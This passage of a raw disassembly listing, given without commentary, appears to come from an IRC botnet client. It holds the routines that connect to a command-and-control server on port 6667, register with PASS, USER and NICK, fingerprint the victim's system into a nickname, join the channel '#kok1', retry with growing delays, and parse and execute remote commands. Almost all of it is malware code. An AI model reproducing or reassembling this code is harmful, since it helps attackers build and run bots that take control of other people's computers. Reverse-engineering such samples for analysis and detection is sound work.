loc_40C912 ; --------------------------------------------------------------------------- loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj call sub_409318 mov [ebp+var_63C0], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63CC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63DC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D0], eax cmp [ebp+var_63D0], 1 jnz short loc_40C793 mov [ebp+var_6410], offset byte_41DE00 jmp short loc_40C79D ; --------------------------------------------------------------------------- loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j mov [ebp+var_6410], offset dword_4191F4 loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j cmp [ebp+var_63DC], 1 jnz short loc_40C7B2 mov [ebp+var_6414], offset byte_41DE00 jmp short loc_40C7BC ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j mov [ebp+var_6414], offset dword_4191F4 loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j cmp [ebp+var_63CC], 1 jnz short loc_40C7D1 mov [ebp+var_6418], offset byte_41DE00 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j mov [ebp+var_6418], offset dword_4191F4 loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j cmp [ebp+var_63D4], 1 jnz short loc_40C7F0 mov [ebp+var_641C], offset byte_41DE00 jmp short loc_40C7FA ; --------------------------------------------------------------------------- loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j mov [ebp+var_641C], offset dword_4191F4 loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj cmp [ebp+var_63C4], 1 jnz short loc_40C80F mov [ebp+var_6420], offset byte_41DE00 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j mov [ebp+var_6420], offset dword_4191F4 loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej cmp [ebp+var_63D8], 1 jnz short loc_40C82E mov [ebp+var_6424], offset byte_41DE00 jmp short loc_40C838 ; --------------------------------------------------------------------------- loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j mov [ebp+var_6424], offset dword_4191F4 loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj push [ebp+var_6410] push [ebp+var_63D0] push [ebp+var_6414] push [ebp+var_63DC] push [ebp+var_6418] push [ebp+var_63CC] push [ebp+var_641C] push [ebp+var_63D4] push [ebp+var_6420] push [ebp+var_63C4] push [ebp+var_6424] push [ebp+var_63D8] push offset dword_419708 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 38h jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40A9CF+1C94j mov eax, [ebp+var_1A8] sub eax, dword_419700 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C912 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C8BD mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jnz short loc_40C8BF loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj push 2 push offset aId ; "id" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40C8EA mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41EE98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j push offset aUsername ; "username" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40C912 mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41F018 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C912: ; CODE XREF: sub_40A9CF+85j ; sub_40A9CF+D8j ... pop edi pop esi leave retn sub_40A9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40C919: ; CODE XREF: sub_40C916+1Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_40C937 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C937 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C937: ; CODE XREF: sub_40C916+Cj ; sub_40C916+16j mov eax, [ebp+arg_0] pop ebp retn sub_40C916 endp ; --------------------------------------------------------------------------- loc_40C93C: ; DATA XREF: sub_40CEB0+66o push ebp mov ebp, esp sub esp, 534h push 327h push dword ptr [ebp+8] lea eax, [ebp-534h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-208h] push eax push offset asc_419F48 ; ";" lea eax, [ebp-530h] push eax call sub_40813C add esp, 0Ch mov [ebp-204h], eax and dword ptr [ebp-20Ch], 0 loc_40C98D: ; CODE XREF: cAddress:0040CA12j cmp dword ptr [ebp-204h], 0 jnz short loc_40C998 jmp short loc_40CA17 ; --------------------------------------------------------------------------- loc_40C998: ; CODE XREF: cAddress:0040C994j ; cAddress:0040C9B5j mov eax, [ebp-204h] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40C9A8 jmp short loc_40C9B7 ; --------------------------------------------------------------------------- loc_40C9A8: ; CODE XREF: cAddress:0040C9A4j mov eax, [ebp-204h] inc eax mov [ebp-204h], eax jmp short loc_40C998 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: cAddress:0040C9A6j push dword ptr [ebp-204h] lea eax, [ebp-38Fh] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp-200h] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp-200h] push eax call sub_40E618 pop ecx lea eax, [ebp-208h] push eax push offset asc_419F48 ; ";" push 0 call sub_40813C add esp, 0Ch mov [ebp-20Ch], eax mov eax, [ebp-20Ch] mov [ebp-204h], eax jmp loc_40C98D ; --------------------------------------------------------------------------- loc_40CA17: ; CODE XREF: cAddress:0040C996j push dword ptr [ebp-534h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ECh cmp [ebp+arg_0], 0 jz short loc_40CA43 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 28h jz short loc_40CA4A loc_40CA43: ; CODE XREF: sub_40CA29+Dj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA4A: ; CODE XREF: sub_40CA29+18j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push offset asc_419FB0 ; ")" push [ebp+arg_0] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40CA70 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA70: ; CODE XREF: sub_40CA29+3Ej mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax cmp eax, 180h jbe short loc_40CA8A mov [ebp+var_1EC], 180h jmp short loc_40CA97 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_40CA29+53j mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax mov [ebp+var_1EC], eax loc_40CA97: ; CODE XREF: sub_40CA29+5Fj push [ebp+var_1EC] push [ebp+arg_0] lea eax, [ebp+var_190] push eax call sub_407A56 add esp, 0Ch push 1 push 1 lea eax, [ebp+var_190] push eax call sub_407C2C add esp, 0Ch lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" lea eax, [ebp+var_190] push eax call sub_40813C add esp, 0Ch mov [ebp+var_4], eax and [ebp+var_C], 0 loc_40CAE1: ; CODE XREF: sub_40CA29+475j cmp [ebp+var_4], 0 jnz short loc_40CAEC jmp loc_40CEA3 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40CA29+BCj ; sub_40CA29+D7j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40CAF9 jmp short loc_40CB02 ; --------------------------------------------------------------------------- loc_40CAF9: ; CODE XREF: sub_40CA29+CCj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40CAEC ; --------------------------------------------------------------------------- loc_40CB02: ; CODE XREF: sub_40CA29+CEj lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_1A0] push eax lea eax, [ebp+var_1C8] push eax push offset a32s16s32s ; "%32s %16s %32s" push [ebp+var_4] call sub_416BA2 ; sscanf add esp, 14h cmp eax, 3 jz short loc_40CB33 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40CA29+101j lea eax, [ebp+var_1C8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A4], eax lea eax, [ebp+var_1E8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A8], eax cmp [ebp+var_1A4], 0 jnz loc_40CC6E push offset dword_418F50 lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CC6E push offset aUptime ; "$uptime" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBB1 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A4], eax jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj push offset aVersion ; "$version" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBD7 mov [ebp+var_1A4], 3B7h jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj push offset aFree ; "$free" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBFB call sub_408E8E mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j push offset aLatency ; "$latency" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC1F call sub_408887 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j push offset aFirewall ; "$firewall" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC43 call sub_404279 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC43: ; CODE XREF: sub_40CA29+20Bj push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC67 call sub_4043E9 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC67: ; CODE XREF: sub_40CA29+22Fj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CC6E: ; CODE XREF: sub_40CA29+137j ; sub_40CA29+152j ... cmp [ebp+var_1A8], 0 jnz loc_40CD83 push offset dword_418F50 lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CD83 push offset aUptime ; "$uptime" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCC6 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A8], eax jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCC6: ; CODE XREF: sub_40CA29+282j push offset aVersion ; "$version" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCEC mov [ebp+var_1A8], 3B7h jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j push offset aFree ; "$free" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD10 call sub_408E8E mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CA29+2D8j push offset aLatency ; "$latency" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD34 call sub_408887 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD34: ; CODE XREF: sub_40CA29+2FCj push offset aFirewall ; "$firewall" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD58 call sub_404279 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD58: ; CODE XREF: sub_40CA29+320j push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD7C call sub_4043E9 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40CA29+344j xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CD83: ; CODE XREF: sub_40CA29+24Cj ; sub_40CA29+267j ... push offset asc_419F5C ; "==" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDAF mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jz short loc_40CDAF xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj ; sub_40CA29+37Dj push offset asc_419F58 ; "!=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDDB mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnz short loc_40CDDB xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj ; sub_40CA29+3A9j push offset asc_419F54 ; ">" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE07 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] ja short loc_40CE07 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CA29+3C7j ; sub_40CA29+3D5j push offset asc_419F50 ; ">=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE30 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnb short loc_40CE30 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE30: ; CODE XREF: sub_40CA29+3F3j ; sub_40CA29+401j push offset dword_419968 lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE59 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jb short loc_40CE59 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE59: ; CODE XREF: sub_40CA29+41Cj ; sub_40CA29+42Aj push offset asc_419F4C ; "<=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE82 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jbe short loc_40CE82 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE82: ; CODE XREF: sub_40CA29+445j ; sub_40CA29+453j lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_40CAE1 ; --------------------------------------------------------------------------- loc_40CEA3: ; CODE XREF: sub_40CA29+BEj mov eax, [ebp+var_10] inc eax push eax call sub_40C916 pop ecx locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj ; sub_40CA29+42j ... leave retn sub_40CA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call sub_40CA29 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40CEC9 jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CEB0+15j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CEDF jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj push 180h push [ebp+var_8] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_405F67 pop ecx pop ecx push [ebp+var_8] push offset aExecutingComma ; "Executing command(s): %s" push 0 push [ebp+var_4] push offset loc_40C93C call sub_4095A4 add esp, 14h locret_40CF23: ; CODE XREF: sub_40CEB0+17j ; sub_40CEB0+2Dj leave retn sub_40CEB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF25 proc near ; CODE XREF: cAddress:00402175p ; sub_40D871+59Bp ... push ebp mov ebp, esp mov eax, dword_41E974 pop ebp retn sub_40CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp ; sub_40D366+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jz short loc_40CF9E push [ebp+arg_0] push offset dword_41E868 call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_4], 0 jz short loc_40CF60 push [ebp+arg_4] push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF71 ; --------------------------------------------------------------------------- loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej push offset a6667 ; "6667" push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj cmp [ebp+arg_8], 0 jz short loc_40CF88 push [ebp+arg_8] push offset byte_41E6E8 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF99 ; --------------------------------------------------------------------------- loc_40CF88: ; CODE XREF: sub_40CF2F+46j push offset byte_41DE00 push offset byte_41E6E8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF99: ; CODE XREF: sub_40CF2F+57j jmp loc_40D020 ; --------------------------------------------------------------------------- loc_40CF9E: ; CODE XREF: sub_40CF2F+9j and [ebp+var_4], 0 jmp short loc_40CFAB ; --------------------------------------------------------------------------- loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CFAB: ; CODE XREF: sub_40CF2F+73j mov eax, [ebp+var_4] imul eax, 0Ch cmp off_41DA40[eax], 0 jz short loc_40CFBC jmp short loc_40CFA4 ; --------------------------------------------------------------------------- loc_40CFBC: ; CODE XREF: sub_40CF2F+89j call sub_410422 xor edx, edx div [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA40[eax] push offset dword_41E868 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA44[eax] push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch cmp off_41DA48[eax], 0 jz short loc_40D020 mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA48[eax] push offset byte_41E6E8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j ; sub_40CF2F+D7j push offset dword_41E868 call sub_4105AD pop ecx push offset dword_41E968 call sub_4105AD pop ecx push offset byte_41E6E8 call sub_4105AD pop ecx leave retn sub_40CF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp ; sub_40D871+619p var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = byte ptr -184h var_104 = byte ptr -104h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push edi lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_80] push eax call sub_40668F add esp, 0Ch movsx eax, byte_41E6E8 test eax, eax jz short loc_40D099 push offset byte_41E6E8 call sub_4105FB pop ecx push offset byte_41E6E8 push offset aPassS ; "PASS %s" call sub_40D6CB pop ecx pop ecx push offset byte_41E6E8 call sub_4105AD pop ecx loc_40D099: ; CODE XREF: sub_40D043+2Dj cmp [ebp+arg_0], 0 jz loc_40D132 movsx eax, byte_41EE98 test eax, eax jz short loc_40D0C3 push offset byte_41EE98 lea eax, [ebp+var_184] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D0C3: ; CODE XREF: sub_40D043+69j lea eax, [ebp+var_184] push eax push offset byte_41EE98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D0D6: ; CODE XREF: sub_40D043+7Ej movsx eax, byte_41F018 test eax, eax jz short loc_40D0F6 push offset byte_41F018 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D0F6: ; CODE XREF: sub_40D043+9Cj lea eax, [ebp+var_104] push eax push offset byte_41F018 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D109: ; CODE XREF: sub_40D043+B1j lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_40D6CB add esp, 14h loc_40D132: ; CODE XREF: sub_40D043+5Aj cmp [ebp+arg_4], 0 jz loc_40D363 cmp [ebp+arg_0], 0 jz short loc_40D163 movsx eax, byte_41EE18 test eax, eax jz short loc_40D163 push offset byte_41EE18 push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40D363 ; --------------------------------------------------------------------------- loc_40D163: ; CODE XREF: sub_40D043+FDj ; sub_40D043+108j call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_188], eax cmp [ebp+var_188], 4 jnb short loc_40D18D call sub_406AE7 test eax, eax jz loc_40D31F loc_40D18D: ; CODE XREF: sub_40D043+13Bj call sub_406A23 lea eax, [ebp+var_24C] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40D1B6 push offset aUnk ; "UNK" lea eax, [ebp+var_24C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D1B6: ; CODE XREF: sub_40D043+15Ej call sub_408E8E cmp eax, 400h jbe short loc_40D1CF call sub_408E8E mov [ebp+var_250], eax jmp short loc_40D1D9 ; --------------------------------------------------------------------------- loc_40D1CF: ; CODE XREF: sub_40D043+17Dj mov [ebp+var_250], 400h loc_40D1D9: ; CODE XREF: sub_40D043+18Aj mov eax, [ebp+var_250] shr eax, 0Ah mov [ebp+var_228], eax call sub_408887 mov [ebp+var_18C], eax mov [ebp+var_224], offset aB ; "B" cmp [ebp+var_18C], 2EEh jnb short loc_40D213 mov [ebp+var_224], offset aA ; "A" loc_40D213: ; CODE XREF: sub_40D043+1C4j cmp [ebp+var_18C], 1F4h jnb short loc_40D229 mov [ebp+var_224], offset aG ; "G" loc_40D229: ; CODE XREF: sub_40D043+1DAj and [ebp+var_22C], 0 mov [ebp+var_220], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_21C] rep stosd lea eax, [ebp+var_220] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_21C], 5 jnz short loc_40D270 cmp [ebp+var_218], 1 jnz short loc_40D270 mov [ebp+var_22C], 1 loc_40D270: ; CODE XREF: sub_40D043+218j ; sub_40D043+221j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_22C], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_224] push [ebp+var_228] push 5Dh push [ebp+var_188] push 5Bh push 5Dh lea eax, [ebp+var_24C] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_80] push eax call sub_416B5E ; sprintf add esp, 34h movsx eax, byte_41DB00 test eax, eax jz short loc_40D31D push offset byte_41DB00 push offset aKok1 ; "#kok1" call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aKok1 ; "#kok1" call sub_4105FB pop ecx movsx eax, byte_41DB80 test eax, eax jz short loc_40D31D push offset byte_41DB80 push offset dword_41ED18 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED18 call sub_4105FB pop ecx loc_40D31D: ; CODE XREF: sub_40D043+295j ; sub_40D043+2BCj jmp short loc_40D343 ; --------------------------------------------------------------------------- loc_40D31F: ; CODE XREF: sub_40D043+144j push offset aRONa ; "àÃЮ¼³" lea eax, [ebp+var_80] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_80] push eax call sub_4105FB pop ecx lea eax, [ebp+var_80] push eax call sub_40D7E5 pop ecx loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj lea eax, [ebp+var_80] push eax push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx lea eax, [ebp+var_80] push eax push offset byte_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D363: ; CODE XREF: sub_40D043+F3j ; sub_40D043+11Bj pop edi leave retn sub_40D043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p ; sub_40D871+4A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF2F add esp, 0Ch push dword_41E974 call sub_40538D pop ecx mov [ebp+var_4], 0EA60h loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j push offset dword_41E868 call sub_4105FB pop ecx push offset dword_41E968 call sub_4105FB pop ecx push 2710h push 1 push offset dword_41E968 push offset dword_41E868 call sub_4050EA add esp, 10h mov dword_41E974, eax push offset dword_41E868 call sub_4105AD pop ecx push offset dword_41E968 call sub_4105AD pop ecx cmp dword_41E974, 0 jz short loc_40D3EE push 1 push 1 call sub_40D043 pop ecx pop ecx jmp short locret_40D41E ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D366+79j push 0 push 0 push 0 call sub_40CF2F add esp, 0Ch push [ebp+var_4] call dword_41709C ; Sleep cmp [ebp+var_4], 0A4CB80h jge short loc_40D419 mov eax, [ebp+var_4] add eax, 0EA60h mov [ebp+var_4], eax loc_40D419: ; CODE XREF: sub_40D366+A6j jmp loc_40D38E ; --------------------------------------------------------------------------- locret_40D41E: ; CODE XREF: sub_40D366+86j leave retn sub_40D366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: cAddress:004022A0p ; sub_40A9CF+1219p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, 